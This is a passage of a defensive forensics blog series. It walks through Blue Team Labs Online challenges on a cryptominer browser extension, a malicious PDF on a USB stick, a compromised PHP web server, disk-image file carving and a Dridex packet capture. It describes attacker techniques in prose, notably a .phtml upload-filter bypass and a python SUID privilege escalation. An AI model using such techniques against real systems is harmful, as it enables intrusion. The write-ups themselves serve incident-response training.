Each internationalized extension has at least one file named messages.json that provides locale-specific strings.

In other words, this file is used for translation and localization for different languages, including locale-specific strings. Maybe there is a helpful string here for us to discover the extension name? Let’s open messages.json to find out!

Examining the English messages.json file

Bingo! Inside of the file, we’ll see that the message string displays the name “Earth in Space.”

Question 3: Identify the Extension ID and Extension Name of the cryptominer

Now that we’ve identified the theme extension, let’s turn our focus to scanning through the rest of the installed extensions looking for the cryptominer. To do this, we’ll review the manifest.json file for suspicious entries in each of the extension folders. But what is the manifest file, anyway? According to Google:

Every extension must have a manifest.json file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.

With that in mind, we can check the files starting from the first extension and moving our way down the list. Eventually, we’ll stumble on the below extension:

egnfmleidkolminhjlkaomjefheafbbb

The manifest file for a suspicious crytocurrency mining extension

This one looks a bit suspicious. To confirm that this is the extension we’re looking for to answer Question 3, let’s pivot and gather some external intelligence about this extension ID on Chrome-Stats.

DFP Cryptocurrency Miner - Extension Download _Allows staff members to mine cryptocurrency in the background of their web browser_chrome-stats.com

Our search provides us some valuable data and confirms that the extension is considered “very high risk” and was actually removed from the Chrome Web Store due to malware. This confirms our finding.

Question 4: What is the description text of this extension?

Fortunately, we’ve already discovered the answer to Question 4 in the manifest.json file under the “description” tag. Additionally, we can also find it listed on the Chrome-Stats page.

Crytominer extension description in the manifest.json

Crytominer extension description on Chrome-Stats

Question 5: What is the name of the specific javascript web miner used in the browser extension?

To answer Question 5, we’re going to refer back to the manifest.json. At the top of the file, in the “background” key of the manifest, notice the referenced script, background.js.

Let’s extract the JavaScript and examine it more closely. To extract the file from the image, locate the script in FTK’s file list, right-click it, and select “Export Files…”

Exporting the JavaScript from FTK

Once the file is exported, open it in Notepad++ or another text editor to view the script details. To answer Question 5, focus on lines 1 and 3, where we can determine that this script enables the CryptoLoot miner.

Question 6: How many hashes is the crypto miner calculating per second?

Continuing with our analysis of the miner in Notepad++, we can find a hashesPerSecond variable on line 17 with a value of 20**.**

Question 7: What is the public key associated with this mining activity?

Circling back to the variable on line 3, we’ll find the miner’s public key.

Question 8: What is the URL of the official Twitter page of the javascript web miner?

We’ve made it to the last question! To complete our investigation, we need to locate the official Twitter page for the Crypto Loot miner**.** All we need to do is perform a quick Google search.

Keep in mind, since this challenge was originally published, Twitter was rebranded to X, so the results might look a little different. But we can follow the answer format and use the Twitter domain instead. Go ahead and submit the answer, and let’s wrap up this challenge!

Conclusion:

Mission accomplished! Using FTK Imager, we explored a forensic image of the infected device, focusing on the Google Chrome cache. From the cache, we identified a crypto mining extension that we determined was malicious using Chrome-Stats. After that, we looked at the miner’s JavaScript functions to understand how it works. Now that we have analyzed the miner, and completed our objectives, let’s close out this walkthrough of Browser Forensics -Cryptominer with a big thank you to Blue Team Labs Online, for the fun and engaging challenge!

Thanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager

Foxtron Forensics — Browser History Examiner — User Guide: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

Chrome for Develops — Manifest file format: https://developer.chrome.com/docs/extensions/reference/manifest

Chrome-Stats: https://chrome-stats.com/

Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough

Sun, 06 Oct 2024 00:00:00 +0000

Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough

Investigating a suspicious USB drive with pdfid.py, pdf-parser.py, and VirusTotal

Logo credit: https://blueteamlabs.online

Introduction:

Welcome to my weekly walkthrough! This week, we’re diving into a hands-on DFIR challenge, Suspicious USB Stick, from Blue Team Labs Online. This investigation involves analyzing the titular suspicious USB drive which may have played a role in a recent, fictitious data breach. What’s our objective? To check the contents of the device to uncover any indicators of malicious activity. If this topic sounds cool to you, you’ve stumbled on the right blog!

To do this, we’ll start by examining the drive’s Autorun.inf file, a common vector for malware propagation. What exactly is this file doing, and what role did it play in the breach? Next, we’ll turn our attention to a suspicious PDF file also found on the USB stick. Using tools like VirusTotal, Didier Stevens’ pdfid.py, and pdf-parser.py, we’ll determine if this PDF is malicious, identify the operating systems it targets, and extract embedded commands.

If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!

Challenge Link: https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124

Challenge Scenario:

One of our clients informed us they recently suffered an employee data breach. As a startup company, they had a constrained budget allocated for security and employee training. I visited them and spoke with the relevant stakeholders. I also collected some suspicious emails and a USB drive an employee found on their premises. While I am analyzing the suspicious emails, can you check the contents on the USB drive?

Reading Material: https://zeltser.com/analyzing-malicious-documents/ https://en.wikipedia.org/wiki/List_of_file_signatures https://eternal-todo.com/tools/peepdf-pdf-analysis-tool.

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.

To keep this write-up focused I’m going to skip the step-by-step setup of REMnux. If you’d like to set up your own REMnux environment, please follow the directions provided by REMnux directly. For reference, I opted for the virtual appliance method:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

–)

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What file is the autorun.inf running?

Okay, let’s get started!

Inside of our analysis environment, we’ll unzip the challenge file and the second archive file (USB.zip) within it. Now inside of the USB.zip archive, we have two files to focus on:

autorun.info

2. README.pdf.

To answer Question 1, let’s first focus on autorun.inf, but before we look at the file, let’s get some quick background on what autorun.inf does exactly.

According to Trend Micro, the autorun.inf file is placed in the root directory of a storage drive and is used to automatically launch programs from storage and media drives. In older versions of Windows this feature could be abused to automatically execute malware when an infected drive was accessed.

So now that we understand what this text file can do, let’s open it up in a text editor to see what is going on. For this example, I‘ll use nano within my REMnux environment.

We can see that the autorun open action is set to launch the README.pdf file.

Question 2: Does the pdf file pass virustotal scan? (No malicious results returned)

Now let’s turn our attention to README.pdf and determine what the PDF file is and if it’s malicious or not.

To do this, we’ll start by checking VirusTotal for any previous hits for this file. As a first step, let’s calculate the SHA256 hash of the PDF directly from the terminal by using the below command:

sha256sum README.pdf

Then, copy the file hash and search VirusTotal.

VirusTotal VirusTotalwww.virustotal.com

Right away we’ll see a large number of detections which provide to us a high degree of confidence that the file is malicious and does not “pass” a scan.

Question 3: Does the file have the correct magic number?

To answer Question 3, I’ll lean on the Wikipedia page linked in the challenge to best explain what this question is looking for.

According to Wikipedia:

This is a list of file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes.

List of file signatures — Wikipedia _needs additional citations for verification .improve this article by (Learn how and when to remove this message )…_en.wikipedia.org

Let’s look for the PDF document type in the list to make this a bit easier to understand.

In the image above, we’re given that the hex signature of a PDF is 25 50 44 46 2D which converts to the ASCII %PDF-

So, to put this into context, we can use the magic number/bytes to determine if the malicious sample is a “real” PDF file or something like an executable masquerading as a PDF file. But how do we get the magic number from the malicious file to verify it? Well, there are a several ways but let’s keep it simple and try two ways for this walkthrough.

The first method is to leverage the work we’ve already done and simply use the existing VirusTotal search. Navigate to the Details tab > Basic properties > Magic to confirm that the file is indeed a PDF file and not some other file type.

The second simple method is to utilize a tool like Didier Stevens’ pdfid.py to do some triage of the PDF file. When pdfid.py runs, one of the items it checks for is a valid %PDF header — if it doesn’t have one, the tool will let you know. For example, if we run it on the autorun.inf file:

So now, let’s try it with README.pdf and see what it tells us…

pdfid.py README.pdf

There we go! Comparing this header to the information from the Wikipedia File Signature page, we see that it matches and double-confirms that the file is a PDF.

Question 4: What OS type can the file exploit? (Linux, MacOS, Windows, etc)

To answer Question 4, we’re looking for which operating system can be exploited by this file. Since we’re already on VirusTotal, let’s see what other information we can discover about the PDF.

Let’s check out the Behaviors tab where we’ll quickly notice that all the sections like File System, Registry, Shell Commands, etc. are referencing Windows.

This should be enough information to determine the affected OS.

Question 5: A Windows executable is mentioned in the pdf file, what is it?

Let’s switch away from VirusTotal and use another of Didier Stevens’ PDF tools, pdf-parser.py, start to analyze README.pdf

According to the author’s website:

“This tool will parse a PDF document to identify the fundamental elements used in the analyzed file.”

So, by using pdf-parser we can start to get a better idea of the malicious elements within the PDF. For our first pass, we’ll use the below syntax using -a to display the stats and -O to include the object streams.

pdf-parser.py README.pdf -a -O

This provides us with a solid overview of the risky keywords to watch for, as highlighted in Lenny Zeltser’s Analyzing Malicious Documents Cheat Sheet, one of the valuable resources provided in our challenge scenario.

https://zeltser.com/analyzing-malicious-documents/

Instead of diving into each object one-by-one, let’s use the default command to print all of them! Don’t worry, we can focus the output to avoid too much manual review. Since we are searching for a Windows executable file, we’ll use grep to display results matching the file extension “.exe”

pdf-parser.py README.pdf | grep -i “.exe”

Nice — we found it! If you’re curious or opt to analyze each object manually, you can find the executable referenced in Object 28, the /Launch action.

Question 6: How many suspicious /OpenAction elements does the file have?

Okay, last question! Remember in the last question where we used pdf-parser.py to find the risky keywords? Well, scroll back up to that output since we have the answer to Question 6 already…

Notice how there is a single number (1) next to /OpenAction? This means there is only one object with an OpenAction. While we don’t have to analyze the OpenAction directly for this challenge it’s good to understand why this is considered risky. Open actions are triggered when a PDF file is opened and could be abused by a bad actor to execute JavaScript, open a file/web page, etc. With all of this evidence, it seems that the USB drive is the initial access vector for this attack.

Conclusion:

Mission accomplished! Let’s do a quick recap. We’ve successfully examined the USB drive’s Autorun.inf file and discovered that it launches README.pdf. Then we used VirusTotal to determine that the file is malicious, likely a backdoor trojan. After that, we used Didier Stevens’ pdfid.py, and pdf-parser.py to look more closely at the structure of the PDF where we found some suspicious OpenActions targeting Microsoft Windows. With the objectives completed, let’s close out this walkthrough of the Suspicious USB Stick challenge!

A big thank you to Blue Team Labs Online for another interesting challenge! I picked this lab for this week when I realized I have never had an occassion to analyze a USB drive. While this turned into light analysis of a PDF it was still a fantastic opportunity to explore the relation between autorun.inf and a weaponized PDF document. Any opportunity to practice with Didier Stevens’ PDF tools is always a good thing to keep in the rotation as the question of “is this PDF safe?” comes up often in the real world. I hope you had fun and learned something too!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Trend Micro — Autorun: https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed.

VirusTotal: https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43

pdfid.py: https://blog.didierstevens.com/programs/pdf-tools/

Wikipedia: https://en.wikipedia.org/wiki/List_of_file_signatures

Lenny Zeltser — Analyzing Malicious Documents Cheat Sheet: https://zeltser.com/analyzing-malicious-documents/

Adobe Open Actions: https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html

MITRE ATT&CK — Replication Through Removable Media (T1091): https://attack.mitre.org/techniques/T1091/

Blue Team Labs Online — Log Analysis - Privilege Escalation Challenge Walkthrough

Sun, 11 Aug 2024 00:00:00 +0000

Blue Team Labs Online — Log Analysis— Privilege Escalation Challenge Walkthrough

Analyzing Web Server Compromise with Bash History Logs and Notepad++

Logo credit: https://blueteamlabs.online

Introduction:

Welcome to another weekly walkthrough! If you’ve ever been curious about investigating a compromised web server, you’ve stumbled on the right blog. This week, we’re tackling the Log Analysis — Privilege Escalation challenge from Blue Team Labs Online.

This challenge is a digital forensics and incident response (DFIR) exercise that has us defenders investigating a compromised web server using only the bash history log file. To do the analysis, we’re leveraging the trusty Notepad++ to dissect the log file, uncover how the attacker compromised the server, how they escalated their privileges, and what tools they used to do it. Sounds like a fun time!

Now let’s grab some yarn and unravel the mystery behind this breach and learn a little bit more about web server security along the way. Let’s get started — thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12

Challenge Scenario:

A server with sensitive data was accessed by an attacker and the files were posted on an underground forum. This data was only available to a privileged user, in this case the ‘root’ account. Responders say ‘www-data’ would be the logged in user if the server was remotely accessed, and this user doesn’t have access to the data. The developer stated that the server is hosting a PHP-based website and that proper filtering is in place to prevent php file uploads to gain malicious code execution. The bash history is provided to you but the recorded commands don’t appear to be related to the attack. Can you find what actually happened?

Question 1: What user (other than ‘root’) is present on the server?

Okay, let’s kick off this investigation! We’ll start by downloading the bash history log file attached to the challenge. To begin our analysis, we’ll open the file in any plaintext editor to view the contents, for the examples in this blog, I will be using Notepad++.

Utilizing the log file, we’re going to locate the second user account on this server by looking for the presence of a home directory. In Linux, each user will have a separate /home directory except for the root account.

On line 21 we’ll see a change directory (cd) to /home/daniel. Since Daniel has a home directory, we’ve discovered the second user account!

Question 2: What script did the attacker try to download to the server?

Let’s continue scrolling through the log to look for evidence of a file download.

Eventually, we stumble across line 32 where we see some activity using wget. Wget is a command-line utility used to retrieve files and content from the web — this seems promising! Let’s take a closer look at what was retrieved:

The end of the URL path is a shell script file “linux-exploit-suggester.sh” retrieved from a GitHub repository. Let’s get some background on this tool to determine if we found the correct answer. I’ll refer to the Kali Linux documentation that states that linux-exploit-suggester is:

a Linux privilege escalation auditing tool. It’s designed to assist in detecting security deficiencies for given Linux kernel/Linux-based machine.

Based on the description, this script could be useful for an attacker’s follow-on activities and confirms that we located the correct script to answer Question 2.

Question 3: What packet analyzer tool did the attacker try to use?

Continuing to scan through the log file, we’ll come across several lines (41–47) listing network discovery commands — so we’re probably in the right spot to look for the answer to Question 3. While searching for the packet analyzer the attacker used, there are two tool commands that stick out from the rest: iptables and tcpdump.

If you haven’t encountered these utilities before, they are important to know in the context of this investigation so let’s get some quick background on both.

iptables: iptables is a Linux firewall application that is controlled through the command line and allows configuration of network traffic rules.

2. tcpdump: Quoting the Kali Linux documentation:

This program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types.

So, based on these tool descriptions, we know that tcpdump is the packet analyzer we are looking for to answer Question 3!

Question 4: What file extension did the attacker use to bypass the file upload filter implemented by the developer?

To answer Question 4, we’re going to search for the keyword “uploads” to locate relevant log entries. Let’s focus on the last line of our log, line 63.

Unfortunately, we don’t have any deeper visibility into the setup of the PHP web server and how the developer implemented the file upload filter_,_ so we are going to have to rely on some context clues.

Analyzing this command tells us that that the file x.phtml was deleted (rm) from the web server’s upload directory. This might indicate that the attacker is deleting indicators of their intrusion (MITRE ATT&CK T1070.004) following a malicious file upload.

Since there is evidence of file upload activity, the developer’s statement that “proper filtering is in place to prevent php file uploads to gain malicious code execution” might not be accurate. From the evidence, we might assume that the developer only filtered the .php file extension rather than also adding other standard PHP extensions like .php3 and .phtml.

Putting our evidence together, we have the developer’s statement that some file upload validation in place, but we don’t know the full scope, we know there was a file uploaded to the web server with the .phtml extension, and the file was later removed. I think we have enough evidence to say with some confidence that the .phtml file bypassed the upload filter.

Question 5: Based on the commands run by the attacker before removing the php shell, what misconfiguration was exploited in the ‘python’ binary to gain root-level access? 1- Reverse Shell ; 2- File Upload ; 3- File Write ; 4- SUID ; 5- Library load

To answer the final question, we’ll focus on the Python activity that occurred before the last line we analyzed in the previous question.

We know we are looking for some exploitation of the Python binary, so let’s try to add some context about the command we see in line 62.

To do this, we need to find some reference about abusing binaries on Linux systems. Fortunately, the challenge provides a reference link to the GTFOBins repository.

So, what are GTFOBins and how can they help us solve this challenge?

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

This sounds promising! Let’s review the repository and search for Python.

python | GTFOBins _The payloads are compatible with both Python version 2 and 3. It can be used to break out from restricted environments…_gtfobins.github.io

Once we have read the various payloads available, we will stumble across a privilege escalation method using Python which is achieved with the same command that we discovered in our bash history log!

Since we have located the same commands in our log and have a documented method of SUID bit privilege escalation, we have enough information to answer Question 5 and wrap up this investigation!

Conclusion:

And there we have it! We’ve successfully navigated the bash history log file to discover the details of the web server compromise. With the help of Notepad++ we identified the second user account on the system, the script the attacker downloaded, the tools they used, and their method for bypassing the file upload filter. With the objectives completed, let’s close out this walkthrough of the Log Analysis — Privilege Escalation challenge!

A big thank you to Blue Team Labs Online for another fun challenge! This challenge not only highlights the importance of thorough log analysis but also demonstrates the value of understanding attacker techniques to better defend our systems. While this challenge is geared toward beginners, the hands-on practice and critical thinking required to solve it is helpful for any skill level. Personally, I was really intrigued by the exploitation of Python to achieve privilege escalation — very cool stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Notepad++: https://notepad-plus-plus.org/

Kali Linux Documentation (linux-exploit-suggester): linux-exploit-suggester | Kali Linux Tools

Kali Linux Documentation (tcpdump): https://www.kali.org/tools/tcpdump/

MITRE ATT&CK (Indicator Removal: File Deletion): https://attack.mitre.org/techniques/T1070/004/

Wikipedia (PHP): https://simple.wikipedia.org/wiki/PHP

GTFO Bins: https://gtfobins.github.io/

Blue Team Labs Online — Employee of the Year Challenge Walkthrough

Sun, 16 Jun 2024 00:00:00 +0000

Blue Team Labs Online — Employee of the Year Challenge Walkthrough

Analyzing a DD disk image with Scalpel and PhotoRec

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough!

Have you ever been curious about recovering deleted data from a disk image file? Well, we’re about to explore data recovery and analysis by tackling the Employee of the Year challenge from Blue Teams Labs Online! This is a capture the flag style challenge that has us defenders investigating a DD disk image, searching for lost files, and recovering flags from inside of the document structures by leveraging Scalpel and PhotoRec.

So, whether you’re here to learn more about DD file analysis, check out some practical use of file carving tools, or are just looking for a reference walkthrough for the Employee of the Year challenge, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3

Challenge Scenario:

John received the ‘Best Employee of the Year’ award for his hard work at FakeCompany Ltd. Unfortunately, today John deleted some important files (typical John!). It’s your job to recover the deleted files and capture all the flags contained within!

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.

To keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!

Question 1: What is the text written on the recovered gif image?

Let’s dive right in and get an overview of the .dd file. This is a raw disk image file and we will be working to recover the data deleted by the user.

To start out, we’re going to use the strings command. At a high-level, this will help us reveal some of the data within the image by printing pieces of data contained (strings) within the image out to the console.

`strings recoverfiles.dd

Output of the strings command on the .dd image file.

Right away we will see some interesting, relevant strings at the very top of the output. For Question 1 we are going to focus on recovering the .gif image, but how do we extract the information from the image?

We’re going to use the data carving tool, Scalpel. According to the REMnux documentation, Scalpel is used to:

Carve contents out of binary files, such as partitions.

So how do we do this? Well, Scalpel uses a targeted approach, so we need to know what type of file that we’re looking for. In this case we know that we need to carve out a GIF file, so we’ll first need to adjust the Scalpel configuration file by uncommenting (removing #) the relevant lines for GIF files in a text editor. For example, I’ll use Nano.

sudo nano /etc/scalpel/scalpel.conf

Now that we have selected the GIF file types, we can run Scalpel against the image file to extract any of the matching file types. I made a folder called Recovered that we will use as an output directory.

Let’s try it out!

scalpel -o Recovered/ recoverfiles.dd

It looks like Scalpel was able to carve out one GIF file, let’s check out Recovered folder and see what it found.

GIF file extracted by Scalpel.

Good job, indeed! Let’s submit the answer and move on to Question 2.

Question 2: Submit Flag1

Since we tested Scalpel for Question 1, why don’t we try a different tool for Question 2?

There is another suggested tool for this challenge, PhotoRec. This is another data recovery tool that we are going to leverage to retrieve files from the disk image. One of the benefits of PhotoRec is that it has many more file types selected by default, so we don’t necessarily need to know what exactly we are looking for. This is going to be critical since the only clue we know to look for is Flag1.

Let’s try PhotoRec out:

sudo photorec recoverfiles.dd

There will be a few screens that will require some input from us, but I just left the default settings.

At the last menu screen, you will need to select an output destination and press C to confirm your choice.

Okay, PhotoRec carved 5 files out of the image. Let’s review them and see what we found:

Contents of the PhotoRec recovery.

Very interesting! The first file we see is the GIF file from Question 1, that would have saved us some time to start with PhotoRec. But more importantly is the .png file — let’s open it up to find Flag1!

Question 3: Submit Flag2

Now that we found the first flag, let’s keep looking at the files that PhotoRec recovered for us.

Contents of the PhotoRec recovery.

We’re going to focus on the .PDF and .MP4 later in the challenge so let’s just focus on the file f0009072.docx.

We don’t have a way of opening the file to view the contents, so we are going to do a little static analysis on the structures of the file itself.

Let’s establish some background theory about the .docx file format first.

According to Microsoft:

The Open XML format (.docx/.xlsx/.pptx) is the default format in all supported versions of Microsoft Office and, unless you have a specific reason to use a different format, it’s the format we recommend using for your Office file

Now the Office Open XML (OOXML) format is essentially structured as a ZIP archive and made up of XML files and other data (files, images, etc.). If we use a tool like oleid we can confirm the container format:

So, all of this to say is that we need to view the content structure of this file to see what streams are available for us to analyze!

If we do some research on this topic, we’ll stumble across a SANS Internet Storm Center diary entry from Didier Stevens whose tool, zipdump.py, we’ll leverage.

Internet Storm Center _Internet Storm Center Diary 2024–06–09, Author: Johannes Ullrich_isc.sans.edu

Let’s follow the concepts of this research and try running zipdump.py on the .docx file we retrieved:

sudo zipdump.py f0009072.docx

After running zipdump.py, we can view the streams within the .docx file, let’s focus on index number 5, word/document.xml, that contains the content of the document itself.

Putting all of this together, we’re going to use zipdump.py to dump the stream of word/document.xml for us to examine using the below syntax to select Index 5.

sudo zipdump.py -s 5 -d f0009072.docx

Okay, it’s not pretty when displayed in the console but we are seeing the structure of the document content! Outside of all the formatting, notice the string highlighted in the image above? This looks like a Base64-encoded string, doesn’t it?

We’re almost there! Let’s test out the theory and try to decode this string in CyberChef. For this challenge, I will use the version built-in to REMnux, but you can use the online version, too.

We can apply the From Base64 operation to the recipe and input the string we found in the .docx file:

And there we go — we found the 2nd flag!

Question 4: Submit Flag3

For Question 4_,_ let’s turn our attention to the PDF file since we saw it had some text in the preview icon that might give us a clue.

Well, not much to go on here, so let’s see if there is anything to discover in the structure of the PDF. We will use another tool by Didier Stevens, pdf-parser.py, to parse the PDF file for the data objects that make up the document rather than what we saw rendered.

PDF Tools _Here is a set of free YouTube videos showing how to use my tools: Malicious PDF Analysis Workshop. pdf-parser.py This…_blog.didierstevens.com

So, let’s say we wanted to search for a flag, we can (and will) parse the document and search for a string within the objects. For this challenge, let’s just use grep to clean-up the output and simply look for “flag.”

pdf-parser.py f0009040.pdf | grep -i “flag”

Awesome, we got it! But something looks a little off, doesn’t it? We need to decode this to get a fully readable flag, so let’s jump back into CyberChef again.

It looks like the flag has some URL/Percent encoding which is used to ensure valid characters for transmission over the internet. In CyberChef let’s add the URL Decode operation to the recipe and see if we can grab the flag…

Question 5: What is the filesystem of the provided disk image?

This is a tricky question to tackle. If we do some research on Google, we’ll find that there is no shortage of suggested methods to locate this information including: blkid, fsck, df, etc.

Unfortunately, none of these commands can help determine the answer to Question 5.

We could continue doing some further Google searching, but let’s try to leverage generative AI. I’m going to check with Microsoft Copilot for any methods I might have missed.

According to Copilot, there is a method I hadn’t found yet in my earlier research:

To identify the file system type, use cfdisk:

sudo cfdisk your_file.dd

Let’s be diligent and validate that the information is correct by verifying the provided source link. How to open .DD file to analyze it? — Ask Ubuntu

After a quick overview from the forum link, the information looks accurate! Let’s try it…

Awesome! By following this method, we were able to find an additional method that helped us locate the answer to Question 5!

Question 6: What is the original filename of the recovered mp4 file?

Okay, last question! Let’s focus on the final file that PhotoRec recovered back in Question 2, the MP4 file.

Remember, that this isn’t the original name but the recovered name after the data carving. We can actually watch the video to find that the content is referencing SBTCertifications — this name rings a bell…

Remember back in Question 1 that we ran the strings command on the .dd file and we saw some interesting file names?

Let’s try looking at the entire recovery image with strings again. We already know there is a ton of output, so let’s just grep for mp4 this time.

strings recoverfiles.dd | grep -i “mp4”

And there we go! We found the final flag! Let’s wrap up this investigation.

Conclusion:

Hey, nice job with the investigation! We successfully analyzed the DD file, located the flags, and recovered John’s files to complete the Employee of the Year challenge! Now that we successfully helped John to recover his data and retain his “Employee of the Year” status, let’s close this case.

A big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to learn about file carving and add some new tools to my tool kit. I also appreciated the depth of this challenge. We not only had to learn how to find and recover the files, but we also had to deep-dive into OOXML and PDF files to locate the flags. Overall, I gained some valuable experience about analyzing DD disk images and data recovery. I hope that you had as much fun as I did and learned something new, too!

Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!

Tools & References:

REMnux: https://docs.remnux.org/

Scalpel: https://github.com/sleuthkit/scalpel

Photorec: https://www.cgsecurity.org/wiki/PhotoRec

Microsoft File Formats: https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document.

Wikipedia Office Open XML: https://en.wikipedia.org/wiki/Office_Open_XML

OLEID: https://github.com/decalage2/oletools/wiki/oleid

Zipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/

SANS XML Document: https://isc.sans.edu/diary/An+XMLObfuscated+Office+Document+CVE202140444/27860

CyberChef: https://gchq.github.io/CyberChef/

PDF Parser: https://blog.didierstevens.com/programs/pdf-tools/

URL Percent Encoding: https://www.w3schools.com/tags/ref_urlencode.ASP

Microsoft Copilot: https://copilot.microsoft.com/

Ask Ubuntu: https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it

Blue Team Labs Online — Network Analysis - Malware Compromise Challenge Walkthrough

Sun, 09 Jun 2024 00:00:00 +0000

Blue Team Labs Online — Network Analysis — Malware Compromise Challenge Walkthrough

Analyzing PCAP files with Wireshark and NetworkMiner

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! Have you ever been curious about analyzing a network packet capture (PCAP) file to investigate malicious traffic from a malware infected computer?

Well, we’re about to explore some PCAP analysis by tackling the Network Analysis — Malware Compromise challenge from Blue Teams Labs Online! This is an incident response challenge that has us defenders investigating a PCAP file taken from an endpoint infected with the Dridex malware_._

To tackle this investigation, we’re going to leverage Wireshark and NetworkMiner for the analysis. So, whether you’re here to learn more about PCAP analysis, see some practical use of these tools, or are just looking for a reference walkthrough for the Network Analysis — Malware Compromise, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908

Challenge Scenario:

A SOC Analyst at Umbrella Corporation is going through SIEM alerts and sees the alert for connections to a known malicious domain. The traffic is coming from Sara’s computer, an Accountant who receives a large volume of emails from customers daily. Looking at the email gateway logs for Sara’s mailbox there is nothing immediately suspicious, with emails coming from customers. Sara is contacted via her phone and she states a customer sent her an invoice that had a document with a macro, she opened the email and the program crashed. The SOC Team retrieved a PCAP for further analysis.

Warning about working with malicious files & Dridex background:

Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. Even for educational purposes, we are working with potentially malicious files, after all.

Now, let’s also set the stage with some background information on the Dridex malware from Malpedia to enrich the scenario:

Dridex as “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another…” According to MalwareBytes, “Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware…”

That isn’t good! Now that we have some context on the malware and our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get to work!

Question 1: What’s the private IP of the infected host?

To start this off, let’s open up Wireshark and load the challenge PCAP file — We’re going to focus on the first packet (№. 1) in the list. Check out the source IP (10.11.27.101) performing a DNS query to the DNS server (10.11.27.1) for the domain klychenogg[.]com.

We can’t be sure yet this is the infected host we are looking for until we look at the TCP three-way handshake where the source IP (10.11.27.101) connects to 95[.]181[.]198[.]231 (which resolves to klychenogg[.]com).

After the host establishes a connection with the server, we observe a strange file in the HTTP GET request (packet #6.) Let’s jump over and search for this domain on VirusTotal:

Okay! So, we’ve got some hits on this domain which gives us some additional context and confidence that this host is communicating with a malicious domain. It is likely that this is the infected source IP that we are searching for to answer Question 1.

But let’s look at this with another view in Wireshark to double-check what the traffic utilization of this IP address is overall. To do this, we can utilize the Statistics > Endpoints view in Wireshark.

Here we will see all the endpoints from this packet capture. Looking at the suspected host IP, we can confirm that it has the lion’s share of traffic compared to the other hosts. Let’s submit the answer and check our work.

Question 2: What’s the malware binary that the macro document is trying to retrieve?

